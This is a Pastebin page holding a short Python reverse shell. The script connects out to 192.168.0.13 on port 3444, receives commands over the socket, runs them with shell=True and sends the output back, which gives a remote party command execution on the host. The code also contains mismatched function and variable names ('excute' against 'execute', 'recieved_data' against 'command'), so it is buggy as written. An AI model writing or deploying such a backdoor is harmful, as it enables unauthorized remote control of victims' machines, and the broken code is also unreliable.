Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #! /usr/bin/env python
- import socket
- import subprocess
- def excute_system_command(command):
- return subprocess.check_output(command, shell=True)
- connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- connection.connect(("192.168.0.13",3444))
- connection.send("\n[+] Connection establised.\n")
- while(True):
- command = connection.recv(1024)
- command_result = execute_system_command(recieved_data)
- connection.send(command_result)
- connection.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement